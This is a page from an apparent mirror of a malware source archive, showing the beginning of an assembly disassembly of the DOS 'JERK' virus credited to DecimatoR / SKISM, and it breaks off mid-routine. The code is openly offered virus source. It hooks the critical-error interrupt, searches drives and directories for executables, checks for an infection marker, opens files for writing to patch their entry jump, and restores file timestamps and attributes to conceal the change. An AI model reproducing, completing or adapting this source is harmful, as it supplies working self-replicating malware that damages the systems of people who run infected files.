mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-24 04:15:26 +00:00
796 lines
33 KiB
NASM
796 lines
33 KiB
NASM
|
||
PAGE 59,132
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ JERK VIRUS ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ Disassembly by ÛÛ
|
||
;ÛÛ ÛÛ
|
||
;ÛÛ DecimatoR / SKISM ÛÛ
|
||
;ÛÛ NOTE: Although this code compiles with TASM 2.0, it may not function ÛÛ
|
||
;ÛÛ in the same manner as the original virus. Test it further. ÛÛ
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
data_1e equ 446h ; (009D:0446=10h)
|
||
data_2e equ 2Ch ; (8344:002C=0)
|
||
data_3e equ 80h ; (8344:0080=0)
|
||
data_22e equ 55Ch ; (8344:055C=0)
|
||
|
||
seg_a segment byte public
|
||
assume cs:seg_a, ds:seg_a
|
||
|
||
|
||
org 100h
|
||
|
||
super proc far
|
||
|
||
start:
|
||
call sub_1 ; (010A)
|
||
dec bp
|
||
;* jnz loc_3 ;*Jump if not zero
|
||
db 75h, 72h
|
||
jo loc_2 ; Jump if overflow=1
|
||
jns $-6Eh ; Jump if not sign
|
||
|
||
super endp
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_1 proc near
|
||
jmp short loc_1 ; (0115)
|
||
db 0CDh, 20h
|
||
data_7 dw 9090h, 9090h, 9090h
|
||
db 90h
|
||
loc_1:
|
||
cld ; Clear direction
|
||
pushf ; Push flags
|
||
call sub_2 ; (0132)
|
||
call sub_6 ; (01B1)
|
||
call sub_4 ; (0188)
|
||
call sub_28 ; (0491)
|
||
call sub_27 ; (041B)
|
||
call sub_5 ; (01A0)
|
||
popf ; Pop flags
|
||
pop bp
|
||
mov bp,100h
|
||
push bp
|
||
xor bp,bp ; Zero register
|
||
retn
|
||
sub_1 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_2 proc near
|
||
call sub_3 ; (017E)
|
||
mov ax,3524h
|
||
int 21h ; DOS Services ah=function 35h
|
||
; get intrpt vector al in es:bx
|
||
mov di,offset ds:[4F4h] ; (8344:04F4=79h)
|
||
mov [bp+di],bx
|
||
mov [bp+di],es
|
||
push cs
|
||
pop es
|
||
mov ax,2524h
|
||
mov dx,offset int_24h_entry
|
||
add dx,bp
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
mov ax,3301h
|
||
xor dl,dl ; Zero register
|
||
int 21h ; DOS Services ah=function 33h
|
||
; ctrl-break flag al=off/on
|
||
mov si,offset ds:[10Bh] ; (8344:010B=9)
|
||
add si,bp
|
||
mov cx,9
|
||
mov di,offset ds:[100h] ; (8344:0100=0E8h)
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
mov ah,1Ah
|
||
mov dx,offset data_21 ; (8344:053E=0)
|
||
add dx,bp
|
||
mov [bp+294h],dx
|
||
int 21h ; DOS Services ah=function 1Ah
|
||
; set DTA to ds:dx
|
||
mov ah,19h
|
||
loc_2:
|
||
int 21h ; DOS Services ah=function 19h
|
||
; get default drive al (0=a:)
|
||
mov [bp+4F8h],al
|
||
mov bx,0FFFFh
|
||
mov [bp+53Ch],bx
|
||
retn
|
||
|
||
;ßßßß External Entry into Subroutine ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
|
||
sub_3:
|
||
pop bp
|
||
push bp
|
||
sub bp,134h
|
||
sub_2 endp
|
||
|
||
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
;
|
||
; External Entry Point
|
||
;
|
||
;ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
|
||
|
||
int_24h_entry proc far
|
||
retn
|
||
int_24h_entry endp
|
||
|
||
db 32h,0C0h,0CFh
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_4 proc near
|
||
mov ah,1Ah
|
||
mov dx,data_3e ; (8344:0080=0)
|
||
int 21h ; DOS Services ah=function 1Ah
|
||
; set DTA to ds:dx
|
||
call sub_7 ; (01DF)
|
||
mov ax,2524h
|
||
mov si,offset ds:[4F4h] ; (8344:04F4=79h)
|
||
lds dx,dword ptr [bp+si] ; Load 32 bit ptr
|
||
int 21h ; DOS Services ah=function 25h
|
||
; set intrpt vector al to ds:dx
|
||
call sub_5 ; (01A0)
|
||
retn
|
||
sub_4 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_5 proc near
|
||
push cs
|
||
pop ds
|
||
push cs
|
||
pop es
|
||
xor ax,ax ; Zero register
|
||
xor bx,bx ; Zero register
|
||
xor cx,cx ; Zero register
|
||
xor dx,dx ; Zero register
|
||
xor si,si ; Zero register
|
||
xor di,di ; Zero register
|
||
retn
|
||
sub_5 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_6 proc near
|
||
call sub_7 ; (01DF)
|
||
xor ah,ah ; Zero register
|
||
mov cx,ax
|
||
mov dh,al
|
||
|
||
locloop_4:
|
||
or dl,dl ; Zero ?
|
||
jnz loc_5 ; Jump if not zero
|
||
mov dl,dh
|
||
loc_5:
|
||
call sub_8 ; (01E8)
|
||
dec dl
|
||
jnc loc_6 ; Jump if carry=0
|
||
loop locloop_4 ; Loop if cx > 0
|
||
|
||
jmp short loc_ret_8 ; (01DE)
|
||
loc_6:
|
||
dec cx
|
||
jz loc_7 ; Jump if zero
|
||
call sub_9 ; (021F)
|
||
jnc loc_ret_8 ; Jump if carry=0
|
||
call sub_7 ; (01DF)
|
||
call sub_8 ; (01E8)
|
||
jc loc_ret_8 ; Jump if carry Set
|
||
loc_7:
|
||
call sub_9 ; (021F)
|
||
|
||
loc_ret_8:
|
||
retn
|
||
sub_6 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_7 proc near
|
||
mov ah,0Eh
|
||
mov dl,[bp+4F8h]
|
||
int 21h ; DOS Services ah=function 0Eh
|
||
; set default drive dl (0=a:)
|
||
retn
|
||
sub_7 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_8 proc near
|
||
push cx
|
||
push dx
|
||
mov ah,36h ; '6'
|
||
int 21h ; DOS Services ah=function 36h
|
||
; get free space, drive dl,1=a:
|
||
cmp ax,0FFFFh
|
||
je loc_10 ; Jump if equal
|
||
mul cx ; dx:ax = reg * ax
|
||
mul bx ; dx:ax = reg * ax
|
||
cmp ax,800h
|
||
jae loc_9 ; Jump if above or =
|
||
or dx,dx ; Zero ?
|
||
jz loc_10 ; Jump if zero
|
||
loc_9:
|
||
pop dx
|
||
push dx
|
||
dec dl
|
||
mov ah,0Eh
|
||
int 21h ; DOS Services ah=function 0Eh
|
||
; set default drive dl (0=a:)
|
||
mov ah,5Bh ; '['
|
||
xor cx,cx ; Zero register
|
||
mov dx,offset data_15+3 ; (8344:04FF=0)
|
||
add dx,bp
|
||
int 21h ; DOS Services ah=function 5Bh
|
||
; create new file, name @ ds:dx
|
||
jc loc_11 ; Jump if carry Set
|
||
mov ah,41h ; 'A'
|
||
int 21h ; DOS Services ah=function 41h
|
||
; delete file, name @ ds:dx
|
||
jmp short loc_11 ; (021C)
|
||
loc_10:
|
||
stc ; Set carry flag
|
||
loc_11:
|
||
pop dx
|
||
pop cx
|
||
retn
|
||
sub_8 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_9 proc near
|
||
call sub_13 ; (0297)
|
||
mov ah,3Bh ; ';'
|
||
mov dx,offset ds:[4F9h] ; (8344:04F9=2)
|
||
add dx,bp
|
||
int 21h ; DOS Services ah=function 3Bh
|
||
; set current dir, path @ ds:dx
|
||
call sub_10 ; (0232)
|
||
call sub_14 ; (02AB)
|
||
retn
|
||
sub_9 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_10 proc near
|
||
call sub_11 ; (025E)
|
||
jc loc_ret_14 ; Jump if carry Set
|
||
call sub_13 ; (0297)
|
||
call sub_18 ; (02EE)
|
||
jnc loc_13 ; Jump if carry=0
|
||
call sub_15 ; (02B8)
|
||
jc loc_13 ; Jump if carry Set
|
||
loc_12:
|
||
mov ah,3Bh ; ';'
|
||
mov dx,data_22e ; (8344:055C=0)
|
||
add dx,bp
|
||
int 21h ; DOS Services ah=function 3Bh
|
||
; set current dir, path @ ds:dx
|
||
call sub_10 ; (0232)
|
||
jnc loc_13 ; Jump if carry=0
|
||
call sub_14 ; (02AB)
|
||
call sub_16 ; (02D7)
|
||
jnc loc_12 ; Jump if carry=0
|
||
loc_13:
|
||
call sub_12 ; (027C)
|
||
|
||
loc_ret_14:
|
||
retn
|
||
sub_10 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_11 proc near
|
||
mov di,[bp+294h]
|
||
cmp di,0FA00h
|
||
cmc ; Complement carry
|
||
jc loc_ret_15 ; Jump if carry Set
|
||
add di,offset ds:[100h] ; (8344:0100=0E8h)
|
||
mov [bp+294h],di
|
||
mov si,offset data_21 ; (8344:053E=0)
|
||
add si,bp
|
||
mov cx,80h
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
|
||
loc_ret_15:
|
||
retn
|
||
sub_11 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_12 proc near
|
||
pushf ; Push flags
|
||
mov si,[bp+294h]
|
||
sub si,100h
|
||
xchg si,[bp+294h]
|
||
mov di,offset data_21 ; (8344:053E=0)
|
||
add di,bp
|
||
mov cx,80h
|
||
rep movsb ; Rep when cx >0 Mov [si] to es:[di]
|
||
popf ; Pop flags
|
||
retn
|
||
sub_12 endp
|
||
|
||
db 0F1h, 69h
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_13 proc near
|
||
mov di,[bp+294h]
|
||
add di,data_3e ; (8344:0080=0)
|
||
mov al,5Ch ; '\'
|
||
stosb ; Store al to es:[di]
|
||
mov ah,47h ; 'G'
|
||
mov si,di
|
||
xor dl,dl ; Zero register
|
||
int 21h ; DOS Services ah=function 47h
|
||
; get present dir,drive dl,1=a:
|
||
retn
|
||
sub_13 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_14 proc near
|
||
mov ah,3Bh ; ';'
|
||
mov dx,[bp+294h]
|
||
add dx,data_3e ; (8344:0080=0)
|
||
int 21h ; DOS Services ah=function 3Bh
|
||
; set current dir, path @ ds:dx
|
||
retn
|
||
sub_14 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_15 proc near
|
||
mov cx,12h
|
||
mov dx,offset ds:[4FBh] ; (8344:04FB=0)
|
||
call sub_20 ; (0343)
|
||
jc loc_ret_18 ; Jump if carry Set
|
||
call sub_17 ; (02E0)
|
||
loc_16:
|
||
jc loc_ret_18 ; Jump if carry Set
|
||
mov al,2Eh ; '.'
|
||
cmp al,[bp+55Ch]
|
||
jne loc_17 ; Jump if not equal
|
||
call sub_16 ; (02D7)
|
||
jmp short loc_16 ; (02C6)
|
||
loc_17:
|
||
clc ; Clear carry flag
|
||
|
||
loc_ret_18:
|
||
retn
|
||
sub_15 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_16 proc near
|
||
call sub_21 ; (034A)
|
||
jc loc_ret_19 ; Jump if carry Set
|
||
call sub_17 ; (02E0)
|
||
|
||
loc_ret_19:
|
||
retn
|
||
sub_16 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_17 proc near
|
||
mov cl,10h
|
||
loc_20:
|
||
test cl,[bp+553h]
|
||
jnz loc_ret_21 ; Jump if not zero
|
||
call sub_21 ; (034A)
|
||
jnc loc_20 ; Jump if carry=0
|
||
|
||
loc_ret_21:
|
||
retn
|
||
sub_17 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_18 proc near
|
||
push word ptr [bp+4EAh]
|
||
mov dx,offset data_15+0Dh ; (8344:0509=0)
|
||
xor al,al ; Zero register
|
||
call sub_19 ; (0313)
|
||
jnc loc_22 ; Jump if carry=0
|
||
mov dx,offset data_15+19h ; (8344:0515=0)
|
||
xor al,al ; Zero register
|
||
call sub_19 ; (0313)
|
||
jnc loc_22 ; Jump if carry=0
|
||
mov dx,offset data_15+1Fh ; (8344:051B=0)
|
||
mov al,0FFh
|
||
call sub_19 ; (0313)
|
||
loc_22:
|
||
pop word ptr [bp+4EAh]
|
||
retn
|
||
sub_18 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_19 proc near
|
||
mov [bp+4EAh],al
|
||
mov cx,23h
|
||
call sub_20 ; (0343)
|
||
jc loc_ret_27 ; Jump if carry Set
|
||
mov cx,3
|
||
loc_23:
|
||
loop locloop_24 ; Loop if cx > 0
|
||
|
||
stc ; Set carry flag
|
||
retn
|
||
|
||
locloop_24:
|
||
call sub_22 ; (034F)
|
||
jc loc_25 ; Jump if carry Set
|
||
call sub_25 ; (03A9)
|
||
jc loc_25 ; Jump if carry Set
|
||
call sub_26 ; (03DF)
|
||
jmp short loc_26 ; (033E)
|
||
loc_25:
|
||
call sub_23 ; (0371)
|
||
call sub_21 ; (034A)
|
||
jnc loc_23 ; Jump if carry=0
|
||
retn
|
||
loc_26:
|
||
call sub_23 ; (0371)
|
||
clc ; Clear carry flag
|
||
|
||
loc_ret_27:
|
||
retn
|
||
sub_19 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_20 proc near
|
||
mov ah,4Eh ; 'N'
|
||
add dx,bp
|
||
int 21h ; DOS Services ah=function 4Eh
|
||
; find 1st filenam match @ds:dx
|
||
retn
|
||
sub_20 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_21 proc near
|
||
mov ah,4Fh ; 'O'
|
||
int 21h ; DOS Services ah=function 4Fh
|
||
; find next filename match
|
||
retn
|
||
sub_21 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_22 proc near
|
||
push cx
|
||
xor ax,ax ; Zero register
|
||
cmp ax,[bp+55Ah]
|
||
jb loc_28 ; Jump if below
|
||
mov ax,0F000h
|
||
cmp ax,[bp+558h]
|
||
jb loc_28 ; Jump if below
|
||
mov ax,9
|
||
cmp [bp+558h],ax
|
||
jb loc_28 ; Jump if below
|
||
mov cl,0
|
||
call sub_24 ; (039C)
|
||
loc_28:
|
||
pop cx
|
||
retn
|
||
sub_22 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_23 proc near
|
||
push cx
|
||
mov bx,[bp+53Ch]
|
||
cmp bx,0FFFFh
|
||
je loc_29 ; Jump if equal
|
||
mov ax,5701h
|
||
mov cx,[bp+554h]
|
||
mov dx,[bp+556h]
|
||
int 21h ; DOS Services ah=function 57h
|
||
; get/set file date & time
|
||
mov ah,3Eh ; '>'
|
||
int 21h ; DOS Services ah=function 3Eh
|
||
; close file, bx=file handle
|
||
mov bx,0FFFFh
|
||
mov [bp+53Ch],bx
|
||
loc_29:
|
||
mov cl,[bp+553h]
|
||
call sub_24 ; (039C)
|
||
pop cx
|
||
retn
|
||
sub_23 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_24 proc near
|
||
mov ax,4301h
|
||
xor ch,ch ; Zero register
|
||
mov dx,data_22e ; (8344:055C=0)
|
||
add dx,bp
|
||
int 21h ; DOS Services ah=function 43h
|
||
; get/set file attrb, nam@ds:dx
|
||
retn
|
||
sub_24 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_25 proc near
|
||
push cx
|
||
mov dx,data_22e ; (8344:055C=0)
|
||
add dx,bp
|
||
mov ax,3D02h
|
||
int 21h ; DOS Services ah=function 3Dh
|
||
; open file, al=mode,name@ds:dx
|
||
jc loc_30 ; Jump if carry Set
|
||
mov [bp+53Ch],ax
|
||
mov dx,offset ds:[10Bh] ; (8344:010B=9)
|
||
add dx,bp
|
||
mov cx,9
|
||
mov bx,ax
|
||
mov ah,3Fh ; '?'
|
||
int 21h ; DOS Services ah=function 3Fh
|
||
; read file, cx=bytes, to ds:dx
|
||
mov cx,6
|
||
mov si,offset ds:[4EEh] ; (8344:04EE=0)
|
||
add si,bp
|
||
mov di,offset data_7 ; (8344:010E=90h)
|
||
add di,bp
|
||
repe cmpsb ; Rep zf=1+cx >0 Cmp [si] to es:[di]
|
||
jnz loc_31 ; Jump if not zero
|
||
stc ; Set carry flag
|
||
loc_30:
|
||
pop cx
|
||
retn
|
||
loc_31:
|
||
clc ; Clear carry flag
|
||
pop cx
|
||
retn
|
||
sub_25 endp
|
||
|
||
|
||
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
|
||
; SUBROUTINE
|
||
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
|
||
|
||
sub_26 proc near
|
||
mov di,offset ds:[4ECh] ; (8344:04EC=0E8h)
|
||
add di,bp
|
||
mov ax,[bp+558h]
|
||
sub ax,3
|
||
stosw ; Store ax to es:[di]
|
||
mov ax,4200h
|
||
mov bx,[bp+53Ch]
|
||
xor cx,cx ; Zero register
|
||
xor dx,dx ; Zero register
|
||
int 21h ; DOS Services ah=function 42h
|
||
